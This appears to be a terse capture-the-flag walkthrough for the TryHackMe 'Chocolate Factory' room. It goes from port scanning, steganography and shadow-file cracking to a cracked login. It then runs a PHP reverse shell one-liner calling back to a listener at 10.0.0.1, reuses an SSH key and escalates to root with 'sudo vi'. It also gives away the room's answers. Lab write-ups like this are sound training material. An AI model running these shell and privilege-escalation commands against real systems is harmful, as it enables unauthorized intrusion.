Charlie and the Chocolate Factory

https://tryhackme.com/room/chocolatefactory

Open Ports:

nmap  $IP

netcat

netcat to all prots from 100 - 125

nc $IP 100
nc $IP 113

found a link in port 113 : http://localhost/key_rev_key
found a key file in link
Revers engineering the file
```
strings key
```

Ftp

Anonymous login
found an image
```
get gumroom.jpg
```
extract the image
```
steghide extarct -sf gumroom.jpg
```
found b64.txt which has base64 encoded text
decoding the text
user password shadow file found
crack the shadow file usig johnny

Port 80

Enter the username: charlie
Enter the password found after cracking : cn7824
After login found a bar that executes os commands

Gaining reverse shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

start listner
```
nc -lvnp 1234
```

Now you have the access to the machine

go to /home/charlie
You will find teleport file which is a id_rsa file(ssh-key)
copy the contents of the file to host machine
change the permission of the teleport file in the host machine
```
chmod 600 teleport
ssh -i teleport charlie@ip
```
Port 22
cd /home/charlie
```
cat uesr.txt
```
see the permissions you have
```
sudo -l
```
permission to run vi as sudo
```
sudo vi -c '!/bin/bash'
```
now you are root
root
go to /root
```
python root.py
```
Enter the key found after reversing